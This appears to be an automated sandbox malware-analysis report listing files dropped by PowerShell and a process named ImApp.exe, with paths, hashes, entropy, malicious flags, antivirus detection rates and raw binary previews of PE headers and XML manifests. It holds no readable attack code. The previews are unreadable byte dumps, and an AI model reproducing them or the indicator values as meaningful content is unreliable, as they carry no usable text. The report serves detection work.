Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....lsI...........!..................k.............................................>........'......................4.p..g...........`..G(........... .../...........................................................pj.T...X...@....................text...U........................... ..`.rdata..............................@..@.data...(...........................@....e&'....X.a..p...................... ..`.U[x....l....pj.....................@..../Ly.........j..... .............. ..`.rsrc...G(...`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\lueffw

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	44204
Entropy (8bit):	4.774510692006982
Encrypted:	false
SSDEEP:	768:EKbYQWbd2yZ+C4M3cCkJTm+KdRf1VExLUM+e3xbjPGW2d3qjBALq/7XzCnq0U:pUDbwxCCqRNeUM+e3X28jBALJq0U
MD5:	F5FF83B783E3AA384505C96F6122884F
SHA1:	980E5D27763EC2DC4A640E0A0B2653CCB8E11CD2
SHA-256:	16A6D0AECCBCAB6DC54C164E397F28B328AE947715D1400013EF8A647D07E856
SHA-512:	5E008A7D34100FFEB7AB05008E14FB38690C4A66FCEE96ABAA5430191DFFB5FEB2B5ECFB6EB47EAC7169FEEFB9C22D7AA6A58B50D605BED9162BFF6A2971379C
Malicious:	false
Preview:	..y..k...].IcWoa...ol..r....t..c.....Kd...c...f..i.h.t....bu..[l....p[rNZc.f.h..C.Z.G.....Y..Zkm.hGi.\y.....J.Fu.N.M.T..jc.nf...IjE.p.D..V].._]....._E..\lf.M..hf..R......j......pvMNY...lX...nY._.G....IH..n....eg.wD.s......p..jo..N..h.....i.Xk.IK...ch..[....T\`WxI.nIN..Iq...tR`.N.S........on.HQ.[..L.D.ADNl.E.iy.a..iK..j[c..C\.k.DJ..^[J....p_dWwmF.Y..P.bemn......Te_W.PdHCqgE.UW.....ai.R.JkQ...K..R.my..C....FNLO.NplYt..w...t....^D....T.g..i.`P...o.v..Bl..Aa.Y^po..Gf.oxnaH\.q^...MXf.PE..aS..g.jGD...En[nT[b...n]G.nxL.f...e..]T.N...C..e.Q.tV.O.JT`n..C....o.o.pWUu.E...fpK._\pc......TJP...`r.F..O..k.m..N....N..lo.H.M.\d.D..k..p_.s.vm.qj..va..J.m.CC.L....q.rnUI..f.....x.k...KQT.W.^.yWSE.Pyd.kE._j..S....a...dP....\.nXDO...oW.NC..D.GJN..cE.R.Yg\ABU....E...O....IW...`..eZv.hw.k[C..q.i[.x...FU.........O.D.c...qA.g.]....I...^bAkQYFY....jm.Q..DY....rm.YUZ.j.Og.dBUiD...hq.\.b..QB.SjP.HT.s.ox.H`..a...AjbDAl..G.MN.ep....f.RPTUYZAV..Vl..mIm.nT.Iac.uqtj.dCR.Ei....G.DOcu.A..Y.......acY.iF^..^.....j.y.F....

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\mfc80u.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1093120
Entropy (8bit):	6.517624141841358
Encrypted:	false
SSDEEP:	12288:o5lk6KUYmYRP6vAt9+J51r64f22JhPeEiz8F+p/xoOTa+S9XqNNw2ohW3:UyUaP64t9+JfrRJiz8F+p/N2/cmW
MD5:	CCC2E312486AE6B80970211DA472268B
SHA1:	025B52FF11627760F7006510E9A521B554230FEE
SHA-256:	18BE5D3C656236B7E3CD6D619D62496FE3E7F66BF2859E460F8AC3D1A6BDAA9A
SHA-512:	D6892ABB1A85B9CF0FC6ABE1C3ACA6C46FC47541DFFC2B75F311E8D2C9C1D367F265599456BD77BE0E2B6D20C6C22FF5F0C46E7D9BA22C847AD1CBEDC8CA3EFF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................R..............R.......R...............l......n......l......l......l......l.L....l......l......l.....Rich............PE..L...84qE...........!.....p...\.......U.............x......................................@.........................@....e..4...x.......................................................................@...............4...<........................text...'n.......p.................. ..`.data....k.......J...t..............@....rsrc...............................@..@.reloc..R7.......8...v..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\msvcp80.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	548864
Entropy (8bit):	6.402420828464982
Encrypted:	false
SSDEEP:	12288:Q1HyurvZ0JPjuTtSu86th1n/hUgiW6QR7t5j3Ooc8NHkC2eo:Q1HyurvZ0liTwuhtjnj3Ooc8NHkC2eo
MD5:	4C8A880EABC0B4D462CC4B2472116EA1
SHA1:	D0A27F553C0FE0E507C7DF079485B601D5B592E6
SHA-256:	2026F3C4F830DFF6883B88E2647272A52A132F25EB42C0D423E36B3F65A94D08
SHA-512:	6A6CCE8C232F46DAB9B02D29BE5E0675CC1E968E9C2D64D0ABC008D20C0A7BAEB103A5B1D9B348FA1C4B3AF9797DBCB6E168B14B545FB15C2CCD926C3098C31C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............y..y..y..fv..y..y..#y.....y..2...y.....y.....y......y.....y.....y.....y..Rich.y..........PE..L...."qE...........!.....@... ...............P....B\|.........................p......u.....@.............................L...T...<............................ ..L2...S..............................Pe..@............P.. ............................text....;.......@.................. ..`.rdata......P.......P..............@..@.data...l&....... ..................@....rsrc...............................@..@.reloc..NA... ...P..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\msvcr80.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	626688
Entropy (8bit):	6.8397070634061174
Encrypted:	false
SSDEEP:	12288:6Fqi2VC1J7Zs7a5zchr46CIfsyZmGyYCqeC:6Ui2C1JdoiEdmGyYu
MD5:	E4FECE18310E23B1D8FEE993E35E7A6F
SHA1:	9FD3A7F0522D36C2BF0E64FC510C6EEA3603B564
SHA-256:	02BDDE38E4C6BD795A092D496B8D6060CDBE71E22EF4D7A204E3050C1BE44FA9
SHA-512:	2FB5F8D63A39BA5E93505DF3A643D14E286FE34B11984CBED4B88E8A07517C03EFB3A7BF9D61CF1EC73B0A20D83F9E6068E61950A61D649B8D36082BB034DDFC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L.........@................!......;.............d.......................Rich...................PE..L...8"qE...........!.....0...p......+#.......@.....x......................................@..........................q...~..Pc..<....`.......................p..H3...B...............................F..@............@...............................text...*'.......0.................. ..`.rdata......@.......@..............@..@.data...Li.......P..................@....rsrc........`.......@..............@..@.reloc...7...p...@...P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\opglkft

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6024002
Entropy (8bit):	7.983141823549703
Encrypted:	false
SSDEEP:	98304:FC3aVqBokLB6CKANoygP+FgFdsjCw+ErZTvQV9hk8o1/vRXwT0CdeZmyyllvtGx:FC3akB1X9gP+muuQvc9hk84vOT0mEmVc
MD5:	3CE938CE3B8509703345D6F45C085334
SHA1:	9D0759CCB917B7F6C61076809DE3CA552B27C9B4
SHA-256:	8252C7C3550678D8BDA298A6BA04B163FBBC6BB31D055420A1A749CC9AEA19E3
SHA-512:	B4999530A37F1A5FF4FDFA3466A27E8D11995305EC8C8D35E6C37BB4D09F122C34A41EFA59733784B7CDAD8C0BA2A884072A74AD9CF918CED13AB75B1C6325FF
Malicious:	false
Preview:	.X.ulg.nREJ......TCQNKD.cF.UWbJ.sMCyc.ox..R.GOi.y.......yWF.P.`Y..b.dV..fH....v..XyL..W.....H..V..\fuBd.JAJ...Xnk.oL..y.o.]D...a.^bI.N._r..Y....i.P....nT..R.S.Ija.c.S]i....uRV...B.HLR.pr.`....]yI...Hw`.d..\...kp.o..K`....R[_.]Lip.`........W...L\..UjGPER_B...IV.vu..q..E_.WU..Dg.ad...h.vExta_E.Z..g.S....VU[I].....P.grFAm.PR[tHObe..uEE.QT...]..Jx..K..k_.e..kVLyP.A.j.y.S.N.m..yhU.OZjk..B..A...o...BYmy.^q....G.xdV.iCk.......y..ey.o.N..p.l..B.l.PD.v...iqP.J^Hw..M..i........Uk.Gp_.RNc...VmDyXL.j\.Z..nQW.Yi.p.vt....C.Bo.c.Ty.H....o..G..p.eHlQu..e..tW......B.rr.Qp.CI..T`q...Sb.[.nt.xv.....O.UN.eQ.t...Z..DL]_.cN....ZiYj.E...Po.y.`e.K[I.....uwS.QW....S.mRuaZ.F].j.V..GN[x.VU..\U.g.BF..._\URgu.Wrgg[.ickYfvDNiJ..E..b.LpF......mnc[.U..M.pk..l.oZHY.Ul.u..O.B`..Kt.Iv..g.Ggyf..FSgW.Px.KN.......Gg..w.WpW.M....I`..C.._..h..V..HH.mxyg.....U.EO.n...eF.eA.A...X.iY.cc.GZv.Vj....HV...VOvK.Z...FGokG.....t..h.i..Ql.G....\uNF.J.r.........S.Mb..bcnSIK..P..RD.....YB.....rMm..Md..a...MJb..e...f...W.nS.AS..]].I.E\nuP

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\sqlite3.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	476584
Entropy (8bit):	6.663002644370433
Encrypted:	false
SSDEEP:	6144:OcX3wRPtfRkJExpFpyNQYDIJ6LuBaPZqKRFk5MO/IRA20hewTCifeaVbvwyiuY:O2CtpAIJ6Lu4qKRFk5J2gTteB
MD5:	B7FB7EB3CB04E0A086A8D945FF45615E
SHA1:	CEFABA225DEAE05B56451F18F11581631147A081
SHA-256:	8567B0E23FD4178270CA674810755C9DFDAE1F4028E01C0C74A4EEB7774A1688
SHA-512:	54238BB4D3FFB3135703627E53F59BCEC25F1D4F73412BB30283C65BA627C42E279BE2C3299497B191FE4DEC1D1B0D4E4998091A645337C75AA13F1D5F46EEE3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....FM.(..0...... ...8...........................`.................................&........ .........................X............................,..........."...................................................................................text...............................`..`.data...X...........................@....bss.... ................................edata..X...........................@....idata..............................@....reloc...".......$..................@....stab...l....@.........................B.stabstra....`.........................B.rsrc................(..............@..@........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\wlessfp1.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	72104
Entropy (8bit):	6.1310599873854965
Encrypted:	false
SSDEEP:	1536:nEqYKdOEuqRKXd9ZWbIOinToIfYeyOgtPko:EqnB89ZouTBf5yOgtPko
MD5:	5120C44F241A12A3D5A3E87856477C13
SHA1:	CD8A6EF728C48E17D570C8DC582EC49E17104F6D
SHA-256:	FBD4B6011D3D1C2AF22827CA548BA19669EEF31173D496E75F064EF7A884431C
SHA-512:	67C0E718368E950D42F007D6A21C6F903B084D6514F777B86AAB3111FFE3BE995949674276081C0281139A0B39119B84630A0AC341D4AE78677AC8346F371AE1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........>...PT..PT..PT.4+T..PT;6.T..PT.4-T..PT...T..PT.4=T..PT...T..PT..QT..PT.4>T..PT.4*T..PT.4(T..PTRich..PT................PE..L...u..L...........!.....p...........k...............................................W..................................;...........................................................................0...@............................................text....a.......p.................. ..`.rdata...N.......P..................@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\IMHttpComm.dll

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33128
Entropy (8bit):	6.491343791629653
Encrypted:	false
SSDEEP:	384:UYacYCuDAIKaDEsdpRPcWzXKNfdZ1uTslWfXLhxyM8OjrsVIObsU25hoe1nYPLMt:Scr9/i1AscZ1wf7h4bOjKRsIe1
MD5:	A70D91A9FD7B65BAA0355EE559098BD8
SHA1:	546127579C06AE0AE4F63F216DA422065A859E2F
SHA-256:	96D6264B26DECF6595CA6F0584A1B60589EC5DACDF03DDF5FBB6104A6AFC9E7A
SHA-512:	F13B735A47090C7C6CC6C2BF9148408EE6DB179C96EE6428270541F27E50AD12CFF7486F3A6FFAC2BA83FD2E6E8E49661E6258F5AEE97EB0F48771CBBD22AEFA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......".k]f...f...f....+{.d...A)x.g...A)k.b...A)h.k...A)~.b...o...m...f...>...A)w.`...A)..g...A)y.g...A)}.g...Richf...........PE..L...b*.N...........!.....4...0.......;.......P.......................................T...............................e..S....Z.......................h..h.......,....Q..............................0T..@............P..d............................text....2.......4.................. ..`.rdata..c!...P..."...8..............@..@.data...<............Z..............@....rsrc................\..............@..@.reloc..t............b..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImABU.dll

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	317864
Entropy (8bit):	6.103378713761166
Encrypted:	false
SSDEEP:	6144:8nZnLK6dcH+GoXPk5XYlmqPyrcXKFOgCYr:8n1LRjGoMJcX2r
MD5:	2102382908725F195CE2C3703CAA0C5F
SHA1:	1B2817C66C9E98E3286498382A7136F1232FC67A
SHA-256:	C56D37F20069E48EADE31236B4D3AA5AFDA2621BD77760E85964F1E6834BE9A6
SHA-512:	80986592A58856B2E741C88F3D0D89512FA05FE77D2A2DDD2C411593875568E842EBA2E8AE2CCF1DE52BDF21B6A7227156BF69E40AE1FD20C5D592A8C814974F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U................_..............6.......6.......6.........j.....6...........o~..6.......6.......6.......6.......Rich............................PE..L......Q...........!................................................................Z..............................`1......X!..@....`.......................p...D..@...............................X...@............................................text...e........................... ..`.rdata...".......0..................@..@.data........@.......@..............@....rsrc........`.......P..............@..@.reloc...Q...p...`...`..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	264616
Entropy (8bit):	5.992392089489149
Encrypted:	false
SSDEEP:	6144:Vb8R0q4y8fIfAHIJsAI3HsmF3HDONwz8XUJOo:x82PpoAMg3i+j
MD5:	312707A513F86ED20642F43F8EF4DD14
SHA1:	EAB360E8A8E8E5B6BF139394CA1409888586D02F
SHA-256:	9B398917C796083A6005AB3F9D78243DBC0FAD12BE1E196BE2B01041D4C951A7
SHA-512:	CD11B6CC2D058F5825BD90F342DF22FC22FE19F5E3E1CBB197FBBE83A64367BBEAAC748CE9D9685403F3C32A36B329E061FABBF54BADC5486C442D5DF7168F30
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m...).`.).`.).`..d.+.`. ...*.`..C..+.`..A..,.`..A..?.`. ...;.`..A..8.`.).a.6.`..A..&.`..A..(.`..A..(.`.Rich).`.................PE..L......Q............................b........ ....@.................................FI......................................$...\|....0..X\|...................... 6...)..............................0...@............ ...............................text............................... ..`.rdata....... ....... ..............@..@.data...,........ ..................@....rsrc...X\|...0.......0..............@..@.reloc...6.......@..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImDbU.dll

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	88488
Entropy (8bit):	5.602595792023789
Encrypted:	false
SSDEEP:	1536:zlwQkY/WTi9rvhhpMV52QTXiy2Ael9tUzODb3UdCCHoXH:SeWTCrvhhYnvel9tUzODb3Ud3IX
MD5:	8AE8BB143301934A023BC5C9BB160B56
SHA1:	228C965619B188CC3C68563BD33691158699416C
SHA-256:	DB890BB2555E0BF3F82B38DC12ECD581348E40E53F9A51DD512149075C7DF0A4
SHA-512:	827729A19F68C732F9AB9E4DE90DD5C8CDCE9993487C9016AC646C3C4AB966431C51B999E45571EFC0AD0380E5D280AA32BCF8B07A73CC52E70A11935AE5356B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............f..f..f......f.Bt...f..v...f..v...f..v...f..v...f..g.`.f..v...f..v...f..v...f..v...f.Rich.f.........PE..L......Q...........!................n........................................@......................................`.......\...........D............@....... ..........................................@............................................text...\|........................... ..`.rdata..b3.......@..................@..@.data...............................@....rsrc...D...........................@..@.reloc....... ... ... ..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImLookExU.dll

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	268712
Entropy (8bit):	6.221329113638471
Encrypted:	false
SSDEEP:	6144:2X6ytmY4o8xnZSYDI73lFlNogVFl4OgqxLwSrIs:2X6ytmY4pZSYkTlNTfw2Is
MD5:	6527BE4D6A3333DC5A49218C4F80530D
SHA1:	97C8965B01D2644FB17A0F818AF59BC0471E38A7
SHA-256:	908AB22CB8FA1B9125CF5746E5591FD84E4853326A812B9431CA1C0B9E997E1F
SHA-512:	69A57CC28583861B97A02968106F007D56C2B5826FC5AA843978F0BF3A3F155AD9F2B7DFBE8260E38C2A7B1ED759F6F6FADBEEF32CEC9D7C4AB8F541F645DC5B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o...u...u...u.].q...u..v....u.5.....u.......u.......u...(...u..v..u..v..u.......u...t...u.......u.......u.......u.......u.Rich..u.................PE..L......Q...........!.....p...........-.............g................................................................ v..^...$V..@.......@........................B..p...................................@...............T............................text....j.......p.................. ..`.rdata..~...........................@..@.data...............................@....rsrc...@...........................@..@.reloc...B.......P..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImLookU.dll

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	620968
Entropy (8bit):	6.331630729579597
Encrypted:	false
SSDEEP:	6144:5hvkhcT5e0HWJ5/10UfCrXCL12gQhYwtHWDEyF0nb6rFBvJ+sbJeDH+8uGh7xgLX:5hvkhcTd2JxXCrS85h0Dh0nMKbz45
MD5:	3EA6D805A18715F7368363DEA3CD3F4C
SHA1:	30FFAFC1DD447172FA91404F07038D759C412464
SHA-256:	A6766C524497144D585EFA4FE384B516B563203427003508F7C8F6BFFA7C928D
SHA-512:	A102F23741DE4CA2184485D9AA4DDD1A36B9EA52CB0859CFD264D69A9996293B7E29B325625F1F6F9330D6C80FF415E09E85E1AE838C58ACEF585AE8DFFE3070
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{...._..._..._.._..._X1k_..._.3h_..._.3x_..._..H_..._.._..._.3n_..._..._..._.3{_..._.3o_..._.3i_..._.3m_..._Rich..._........................PE..L......Q...........!.........`.......V.............g.........................p......F2..............................P...........@....p...G...........`..........\|...................................x,..@...............\|............................text............................... ..`.rdata...5.......@..................@..@.data...p+...@... ...@..............@....rsrc....G...p...P...`..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImNtUtilU.dll

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	96680
Entropy (8bit):	5.83642626060557
Encrypted:	false
SSDEEP:	1536:q01U2obLeNvXXZ6Wb/2LamjMkUYCTSZaKAxvSJKRDOAG921:NobLeNvXp6Ou+mjMkUYC2ZVAxxFOAG9s
MD5:	BB326FE795E2C1C19CD79F320E169FD3
SHA1:	1C1F2B8D98F01870455712E6EBA26D77753ADCAC
SHA-256:	A8E1B0E676DCE9556037D29FD96521EC814858404BA4CFDD0DB0EDBE22C87BC7
SHA-512:	A1EC894151BAA14E4AC1EE9471E8606BF74EDD39F7833D9A1A44EEE74D403F6B52780C135E9718FF9564FA27D7128C22B8410B21F77E6D804F698CFB4EDA65A1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Xn.....................;.......;.......;........w........~....;.......;.......;.......;.......Rich....................PE..L......Q...........!................)..............g.........................`......6...............................p ..........x....@...............`.......P......`...................................@...............D............................text............................... ..`.rdata..JE.......P..................@..@.data........0.......0..............@....rsrc........@.......@..............@..@.reloc.......P.......P..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImUtilsU.dll

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1464744
Entropy (8bit):	6.434153207270156
Encrypted:	false
SSDEEP:	24576:2EQirQajY+S5eqyL9dj7GP4a6xKlnNYndIA1HVtFyC0Glqb6WUOQZljMFbDG0:fQj+S5epJl7+eenN5+HVDD0bUOQPUbDP
MD5:	A7EABA8BC12B2B7EC2A41A4D9E45008A
SHA1:	6A96A18BB4F1CD6196517713ED634F37F6B0362B
SHA-256:	914B1E53451B8BE2C362D62514F28BDEF46A133535D959B13F3F4BF3BC63DF3A
SHA-512:	0AE7FBDB2677D92C62337AA17B60A4887240A4A426BA638C7633587F4582ADBCDA2BDE5EC824AAB1A3F69ACF2B391118763842ACFAB856D3D9764850961A2AC8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........L.4U-wgU-wgU-wg...gV-wgr..gX-wgr..g\-wgr..gp-wg\U.gX-wg\U.gw-wgU-wg.-wgr..g^-wgU-vg.)wgr..g%-wgr..gT-wgr..gT-wgr..gT-wgRichU-wg........................PE..L......Q...........!.........0....................2g................................4...................................C)...,.......................@....... ...d...#...............................................................................text............................... ..`.rdata..C...........................@..@.data............`..................@...ve_share(....p....... ..............@....rsrc................0..............@..@.reloc..xi... ...p..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImWrappU.dll

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	162216
Entropy (8bit):	5.74756267972498
Encrypted:	false
SSDEEP:	1536:+Vcm093l7KjJdwXjCsZ+WymDAZZxgbgROgldJ+VEcn75A:+Vcm03ggjCsZDym6Og5+Vpm
MD5:	CBF4827A5920A5F02C50F78ED46D0319
SHA1:	B035770E9D9283C61F8F8BBC041E3ADD0197DE7B
SHA-256:	7187903A9E4078F4D31F4B709A59D24EB6B417EA289F4F28EABCE1EA2E713DCE
SHA-512:	D1A285FB630F55DF700A74E5222546656DE7D2DA7E1419E2936078340767D0BAB343B603BA0D07140C790EB5D79A8A34B7818B90316EA06CB9F53CAD86B6D3F5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 14%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........g..~.B.~.B.~.B...B.~.B...B.~.BK.wB.~.B..tB.~.B..dB.~.B.~.Bo~.B..rB.~.B..gB.~.B..sB.~.B..uB.~.B..qB.~.BRich.~.B........PE..L......Q...........!.................K.............g.........................`......................................`.......L........0...............`.......@..\......................................@............................................text...S........................... ..`.rdata..}j.......p..................@..@.data...l.... ....... ..............@....rsrc........0.......0..............@..@.reloc.......@... ...@..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\Microsoft.VC80.CRT.manifest

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (504), with CRLF line terminators
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	5.395078491534145
Encrypted:	false
SSDEEP:	48:3SlK+hk6g4u09kkK23zWO09kkKFzv09kkKldSzY:Clth9uXkd3COXkgTXkX8
MD5:	541423A06EFDCD4E4554C719061F82CF
SHA1:	2E12C6DF7352C3ED3C61A45BAF68EACE1CC9546E
SHA-256:	17AD1A64BA1C382ABF89341B40950F9B31F95015C6B0D3E25925BFEBC1B53EB5
SHA-512:	11CF735DCDDBA72BABB9DE8F59E0C180A9FEC8268CBFCA09D17D8535F1B92C17BF32ACDA86499E420CBE7763A96D6067FEB67FA1ED745067AB326FD5B84188C6
Malicious:	false
Preview:	.<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <noInheritable></noInheritable>.. <assemblyIdentity type="win32" name="Microsoft.VC80.CRT" version="8.0.50727.762" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b"></assemblyIdentity>.. <file name="msvcr80.dll" hash="10f4cb2831f1e9288a73387a8734a8b604e5beaa" hashalg="SHA1"><asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><dsig:Transforms><dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity"></dsig:Transform></dsig:Transforms><dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></dsig:DigestMethod><dsig:DigestValue>n9On8FItNsK/DmT8UQxu6jYDtWQ=</dsig:DigestValue></asmv2:hash></file>.. <file name="msvcp80.dll" hash="b2082dfd3009365c5b287448dcb3b4e2158a6d26" hashalg="SHA1"><asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xml

C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\Microsoft.VC80.MFC.manifest

Download File

Process:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (504), with CRLF line terminators
Category:	dropped
Size (bytes):	2371
Entropy (8bit):	5.376374702643811
Encrypted:	false
SSDEEP:	48:3SlK+x6g4m09kkKZzY09kkKSzdz09kkKWz+09kkK5e/zY:CltImXkEMXkvdXkHCXk648
MD5:	97B859F11538BBE20F17DFB9C0979A1C
SHA1:	2593AD721D7BE3821FD0B40611A467DB97BE8547
SHA-256:	4ED3BA814DE7FD08B4E4C6143D144E603536C343602E1071803B86E58391BE36
SHA-512:	905C7879DF47559AD271DC052EF8AE38555EAC49E8AC516BC011624BF9A622EB10EE5C6A06FBD3E5C0FA956A0D38F03F6808C1C58EE57813818FE8B8319A3541
Malicious:	false
